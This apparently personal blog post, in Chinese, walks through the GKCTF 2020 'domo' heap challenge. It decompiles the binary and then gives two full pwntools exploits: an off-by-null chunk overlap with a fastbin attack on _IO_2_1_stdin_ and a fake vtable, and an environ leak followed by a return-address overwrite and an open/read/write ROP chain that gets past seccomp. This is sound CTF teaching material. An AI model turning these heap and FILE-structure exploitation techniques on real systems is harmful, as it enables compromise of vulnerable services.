GKCTF_2020_domo
196082 慢慢好起来

复现一场比赛被第一道题卡了贼久,我太菜了,越学pwn越在想要是比赛第一题就是这个我连一道题都做不出来怎么办哦。

吐槽: nss给的libc怎么也不对啊?

image-20220210171546325

简要分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+4h] [rbp-1Ch] BYREF
int v6; // [rsp+8h] [rbp-18h] BYREF
int v7; // [rsp+Ch] [rbp-14h] BYREF
__int64 v8; // [rsp+10h] [rbp-10h]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]

v9 = __readfsqword(0x28u);
v4 = 1;
v5 = 1;
v6 = 1;
sub_BA0(a1, a2, a3);
sub_C9D();
puts("Welcome to GKCTF");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu(); // puts("1: Add a user");
// puts("2: Delete a user");
// puts("3: Show a user");
// puts("4: Edit a user");
// return puts("5: Exit");
printf("> ");
_isoc99_scanf("%d", &v7);
if ( v7 != 1 )
break;
add("%d", &v7);
}
if ( v7 != 2 )
break;
delete("%d", &v7);
}
if ( v7 != 3 )
break;
show("%d", &v7);
}
if ( v7 != 4 )
break;
edit(&v4, &v5, &v6);
}
v8 = seccomp_init(2147418112LL);
seccomp_rule_add(v8, 0LL, 59LL, 0LL);
seccomp_rule_add(v8, 0LL, 4294957238LL, 0LL);
seccomp_rule_add(v8, 0LL, 10LL, 0LL);
seccomp_load(v8);
puts("oh,Bye");
return 0LL;
}

在main内的最后开启了沙盒,可以看出来禁用了execve的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 __fastcall sub_E6C(const char *a1)
{
size_t nbytes; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( check(a1) == 1 && chunk_num[0] <= 8 )
{
HIDWORD(nbytes) = 0;
while ( SHIDWORD(nbytes) <= 8 )
{
if ( !*(&chunk_arr + SHIDWORD(nbytes)) )
{
puts("size:");
_isoc99_scanf("%d", &nbytes);
if ( (nbytes & 0x80000000) == 0LL && nbytes <= 288 )
{
*(&chunk_arr + SHIDWORD(nbytes)) = malloc(nbytes);
puts("content:");
read(0, *(&chunk_arr + SHIDWORD(nbytes)), nbytes);
*(*(&chunk_arr + SHIDWORD(nbytes)) + nbytes) = 0;// off by null
++chunk_num[0];
}
else
{
puts("sobig");
}
return __readfsqword(0x28u) ^ v3;
}
++HIDWORD(nbytes);
}
}
return __readfsqword(0x28u) ^ v3;
}

在add函数存在明显的off by null漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 sub_C16()
{
void *(*volatile v0)(size_t, const void *); // rax
bool v1; // dl
void (*volatile v2)(void *, const void *); // rax

v0 = _malloc_hook;
v1 = v0 != 0LL;
v2 = _free_hook;
if ( !v1 && v2 == 0LL )
return 1LL;
puts("oh no");
return 0LL;
}

在add函数和delete函数的开头部分都存在这个函数检验_malloc_hook和_free_hook是否被修改。所以常规的修改hook为one_gadget是不现实的了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 __fastcall sub_115E(_DWORD *a1, _DWORD *a2, _DWORD *a3)
{
void *buf; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
buf = 0LL;
if ( check() == 1 )
{
if ( *a1 && *a2 && *a3 )
{
puts("addr:");
_isoc99_scanf("%ld", &buf);
puts("num:");
read(0, buf, 1uLL);
*a1 = 0;
*a2 = 0;
*a3 = 0;
puts("starssgo need ten girl friend ");
}
else
{
puts("You no flag");
}
}
return __readfsqword(0x28u) ^ v6;
}

这里的edit函数和常规完全不一样,这里是存在一个任意地址写一字节并且只允许执行一次。

利用过程

leak libc addr

当unsortedbin只有一个chunk的时候它的fd指针和bk指针都是指向main_arena的。

image-20220210143525923

然后申请一个同样大小的chunk并且输入b’a’*7+b’\n’

image-20220210143647137

即可获得main_arena的地址,然后计算出libc_base的地址。

leak heap addr

利用思路跟上面类似,不过是用fastbin。

image-20220210143829113

此时他的fd指针指向的是他下一个chunk。申请一个size相同并且输入空字符即可求出heap的地址。

chunk overlap

接着就是利用堆的堆放方式利用off by null触发unlink为fastbin attack做准备。

1
2
3
4
5
6
7
8
9
create(0x40, b'')
create(0x68, b'')
create(0xf0, b'')
delete(0)
create(0x40, p64(0)+p64(0xb1)+p64(heap_addr+0x18) +
p64(heap_addr+0x20)+p64(heap_addr+0x10))
delete(1)
create(0x68, b'\x00'*0x60+p64(0xb0))
delete(2)

image-20220210144318601

我们使用以上三个chunk来进行,并且在chunk0的里面我们伪造一个size为0xb0的fake chunk。

image-20220210144755540

可以看到经过上面我们已经修改了size为0x100的inuse位的值0,那么此时我们free掉它。

image-20220210144825573

可以看到此时我们伪造的fake chunk的size已经变为了0x1b1

image-20220210145005043

并且可以看到unlink后的fake chunk已经进入了unsorted bin了。

vtable

在进行fastbin attack之前我们先先看看vtable是个什么东西

image-20220210145340055

可以看到下面的vtable变量,存放的值是_IO_file_jumps的指针

image-20220210145524741

可以看到_IO_file_jumps结构内存放很多函数的指针,一系列标准IO函数都会调用这些指针,但是_IO_file_jumps结构本身是不可写的,但是我们可以修改vtable指向我们伪造的_IO_file_jumps结构。

fastbin attack

1
2
3
4
5
6
7
8
9
10
create(0xc0, b'')
delete(1)
delete(2)

_IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_']
info(hex(_IO_2_1_stdin_))

fake_chunk = _IO_2_1_stdin_+160-3
create(0xc0, b'a'*0x38+p64(0x71)+p64(fake_chunk))
create(0xa8, p64(0)*2+p64(one_gadget)*19)

首先申请一个size为0xc0的chunk,而这个chunk会在unsorted bin当中的fake chunk中割出一部分拿给我们。所以我们可以通过这样一个chunk来修改我们放到fastbin当中的chunk。

先看_IO_2_1_stdin_附近适合用来构造fake chunk的地方。

image-20220210150545879

可以看到这个位置是很适合拿来做chunk的size的也就是_IO_2_1_stdin_+160-3

image-20220210150842931

可以看到fastbin当中的chunk被我们改变了到了制定位置,然后伪造vtable也在了,最后修改getshell即可

综上得出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

r = process('./domo')
elf = ELF('./domo')
libc = ELF('./libc.so.6')


def create(size, content):
r.recvuntil(b'5: Exit')
r.sendline(b'1')
r.recvuntil(b'size:')
r.sendline(bytes(str(size), encoding='utf-8'))
r.recvuntil(b'content:')
r.sendline(content)


def delete(index):
r.recvuntil(b'5: Exit')
r.sendline(b'2')
r.recvuntil(b'index:')
r.sendline(bytes(str(index), encoding='utf-8'))


def show(index):
r.recvuntil(b'5: Exit')
r.sendline(b'3')
r.recvuntil(b'index:')
r.sendline(bytes(str(index), encoding='utf-8'))


def edit(address, num):
r.recvuntil(b'5: Exit')
r.sendline(b'4')
r.recvuntil(b'addr:')
r.senline(bytes(str(address), encoding='utf-8'))
r.recvuntil(b'num:')
r.sendline(bytes(str(num), encoding='utf-8'))


create(0x40, b'') # 0
create(0x68, b'') # 1
create(0xf0, b'') # 2
create(0x10, b'') # 3

delete(2)

create(0xf0, b'a'*7) # 2
show(2)

print(r.recvuntil(b'\n'))
print(r.recvuntil(b'a\n'))
main_arena_88 = u64(r.recv(6).ljust(8, b'\x00'))

info(hex(main_arena_88))

malloc_hook = (main_arena_88 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
libc_base = malloc_hook-libc.symbols['__malloc_hook']
one_gadget = 0xf03a4+libc_base
print(hex(one_gadget))

create(0x10, b'') # 4

delete(3)
delete(4)
create(0x10, b'') # 3
show(3)
print(r.recvuntil(b'\n'))
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))-0x10a+0x10
info(hex(heap_addr))

delete(3)

delete(0)
create(0x40, p64(0)+p64(0xb1)+p64(heap_addr+0x18) +
p64(heap_addr+0x20)+p64(heap_addr+0x10)) # 0
delete(1)
create(0x68, b'\x00'*0x60+p64(0xb0)) # 1

delete(2)

create(0xc0, b'') # 2
delete(1)
delete(2)

_IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_']
info(hex(_IO_2_1_stdin_))

fake_chunk = _IO_2_1_stdin_+160-3
create(0xc0, b'a'*0x38+p64(0x71)+p64(fake_chunk)) # 2
create(0xa8, p64(0)*2+p64(one_gadget)*19) # 1
create(0x60, b'')
fake_vtable = heap_addr+0xf0
payload = b'\x00'*3 + p64(0)*2+p64(0x00000000ffffffff)+p64(0) * \
2+p64(fake_vtable)+p64(0)*6
create(0x63, payload)

r.interactive()

以上解法为nocbtm师傅的思路。下面为出题人的思路。

其实出题人的思路在前半部分部分和上面是一样的,同样需要leak libc addr,leak heap addr,fastbin attack这三步攻击。

environ

在libc中的environ里存放的是stack的地址。

image-20220210152730000

下面就是通过_IO_2_1_stdout_泄漏出environ当中的栈地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_IO_2_1_stdout_ = libc_base+libc.symbols['_IO_2_1_stdout_']
fake_chunk = _IO_2_1_stdout_ - 0x43
create(0xc0, b'')
create(0x60, b'')
delete(3)
delete(1)
delete(2)
create(0xc0, b'\x00'*0x38+p64(0x71)+p64(fake_chunk))

payload = b'\x00'*3+p64(0)*5+p64(libc_base+libc.symbols['_IO_file_jumps'])+p64(0xfbad1800)+p64(_IO_2_1_stdout_+131) * \
3+p64(libc_base+libc.symbols['environ']) + \
p64(libc_base+libc.symbols['environ']+8)
create(0x60, b'')
create(0x63, payload)
r.recvline()
stack_addr = u64(r.recvuntil(b'1: Add a user', drop=True))
ret_addr = stack_addr-0xf0
info('stack_addr=>'+hex(ret_addr))

image-20220210155218812

然后经过偏移计算获得main函数的返回地址。

修改返回地址

这里需要使用_IO_2_1_stdin_(不清楚的可以看看这篇文章echo back)来修改返回地址的内容

1
2
3
4
5
6
7
8
9
10
11
_IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_']
fake_chunk = _IO_2_1_stdin_-0x28
create(0x60, b'')
delete(4)
delete(1)
delete(2)
create(0xc0, b'\x00'*0x38+p64(0x71)+p64(fake_chunk))
create(0x40, b'flag\x00')
flag_addr = heap_addr+0x210
create(0x60, b'')
edit(fake_chunk+0x8, p8(0x71))

image-20220210163934654

一样的操作,找到一个假的chunk然后修改_IO_buf_base和_IO_buf_end

1
2
3
4
payload = p64(0)+p64(libc_base +
libc.symbols['_IO_file_jumps'])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(ret_addr-2)+p64(ret_addr+0x118)
create(0x60, payload)
info('fake_chunk=>'+hex(fake_chunk))

image-20220210164732458

紧接着直接申请chunk过去然后修改掉上面两个指针的值,效果如上图。

image-20220210165013617

解释一下为什么要在_IO_buf_base处写上ret_addr-2 => 因为在最后输入的时候我们是在这个scanf当中输入的,所以我们需要预留两个位置输入b’5\n’

orw

最后因为题目在最后开启了沙盒所以我们只能用orw的方式来读flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pop_rdi = libc_base+next(libc.search(asm('pop rdi\nret', arch='amd64')))
pop_rsi = libc_base+next(libc.search(asm('pop rsi\nret', arch='amd64')))
pop_rdx = libc_base+next(libc.search(asm('pop rdx\nret', arch='amd64')))
open_addr = libc_base+libc.symbols['open']
read_addr = libc_base+libc.symbols['read']
write_addr = libc_base+libc.symbols['write']
payload = b'5\n'+p64(pop_rdi)+p64(flag_addr) + \
p64(pop_rsi)+p64(72)+p64(open_addr)

payload += p64(pop_rdi)+p64(3)+p64(pop_rsi) + \
p64(flag_addr+8)+p64(pop_rdx)+p64(0x30)+p64(read_addr)

payload += p64(pop_rdi)+p64(1)+p64(pop_rsi) + p64(flag_addr+8) + \
p64(pop_rdx)+p64(0x100)+p64(write_addr)
gdb.attach(r)
r.recvuntil(b'>')
r.sendline(payload)

最后的栈内情况

image-20220210171317730

综上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *

r = process('./domo')
# r = remote('1.14.71.254', 28041)
elf = ELF('./domo')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.log_level = 'debug'


def create(size, content):
r.recvuntil(b'5: Exit')
r.sendline(b'1')
r.recvuntil(b'size:')
r.sendline(bytes(str(size), encoding='utf-8'))
r.recvuntil(b'content:')
r.sendline(content)


def delete(index):
r.recvuntil(b'5: Exit')
r.sendline(b'2')
r.recvuntil(b'index:')
r.sendline(bytes(str(index), encoding='utf-8'))


def show(index):
r.recvuntil(b'5: Exit')
r.sendline(b'3')
r.recvuntil(b'index:')
r.sendline(bytes(str(index), encoding='utf-8'))


def edit(address, num):
r.recvuntil(b'5: Exit')
r.sendline(b'4')
r.recvuntil(b'addr:')
r.sendline(bytes(str(address), encoding='utf-8'))
r.recvuntil(b'num:')
r.sendline(num)


create(0x40, b'') # 0
create(0x68, b'') # 1
create(0xf0, b'') # 2
create(0x10, b'') # 3

delete(2)

create(0xf0, b'a'*7) # 2
show(2)

print(r.recvuntil(b'\n'))
print(r.recvuntil(b'a\n'))
main_arena_88 = u64(r.recv(6).ljust(8, b'\x00'))

info(hex(main_arena_88))

malloc_hook = (main_arena_88 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
libc_base = malloc_hook-libc.symbols['__malloc_hook']
one_gadget = 0xf02a4+libc_base
print(hex(one_gadget))

create(0x10, b'') # 4

delete(3)
delete(4)
create(0x10, b'') # 3
show(3)
print(r.recvuntil(b'\n'))
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))-0x10a+0x10
info(hex(heap_addr))

delete(3)

delete(0)
create(0x40, p64(0)+p64(0xb1)+p64(heap_addr+0x18) +
p64(heap_addr+0x20)+p64(heap_addr+0x10)) # 0
delete(1)
create(0x68, b'\x00'*0x60+p64(0xb0)) # 1
delete(2)

_IO_2_1_stdout_ = libc_base+libc.symbols['_IO_2_1_stdout_']
fake_chunk = _IO_2_1_stdout_ - 0x43
create(0xc0, b'') # 2
create(0x60, b'') # 3
delete(3)
delete(1)
delete(2)
create(0xc0, b'\x00'*0x38+p64(0x71)+p64(fake_chunk)) # 1

payload = b'\x00'*3+p64(0)*5+p64(libc_base+libc.symbols['_IO_file_jumps'])+p64(0xfbad1800)+p64(_IO_2_1_stdout_+131) * \
3+p64(libc_base+libc.symbols['environ']) + \
p64(libc_base+libc.symbols['environ']+8)
create(0x60, b'') # 2
create(0x63, payload) # 3
r.recvline()
stack_addr = u64(r.recvuntil(b'1: Add a user', drop=True))
ret_addr = stack_addr-0xf0
info('ret_addr=>'+hex(ret_addr))

_IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_']
fake_chunk = _IO_2_1_stdin_-0x28
create(0x60, b'') # 4
delete(4)
delete(1)
delete(2)
create(0xc0, b'\x00'*0x38+p64(0x71)+p64(fake_chunk)) # 1
create(0x40, b'flag\x00') # 2
flag_addr = heap_addr+0x210
create(0x60, b'') # 4
edit(fake_chunk+0x8, p8(0x71))
payload = p64(0)+p64(libc_base +
libc.symbols['_IO_file_jumps'])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(ret_addr-2)+p64(ret_addr+0x118)
create(0x60, payload) # 5
info('fake_chunk=>'+hex(fake_chunk))

pop_rdi = libc_base+next(libc.search(asm('pop rdi\nret', arch='amd64')))
pop_rsi = libc_base+next(libc.search(asm('pop rsi\nret', arch='amd64')))
pop_rdx = libc_base+next(libc.search(asm('pop rdx\nret', arch='amd64')))
open_addr = libc_base+libc.symbols['open']
read_addr = libc_base+libc.symbols['read']
write_addr = libc_base+libc.symbols['write']
payload = b'5\n'+p64(pop_rdi)+p64(flag_addr) + \
p64(pop_rsi)+p64(72)+p64(open_addr)

payload += p64(pop_rdi)+p64(3)+p64(pop_rsi) + \
p64(flag_addr+8)+p64(pop_rdx)+p64(0x30)+p64(read_addr)

payload += p64(pop_rdi)+p64(1)+p64(pop_rsi) + p64(flag_addr+8) + \
p64(pop_rdx)+p64(0x100)+p64(write_addr)

r.recvuntil(b'>')
r.sendline(payload)


r.interactive()

参考

https://blog.play2win.top/2020/05/27/GKCTF%202020%20Domo%E5%88%86%E6%9E%90/#0x0-leak-libc-address%E5%92%8Cheap-address

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量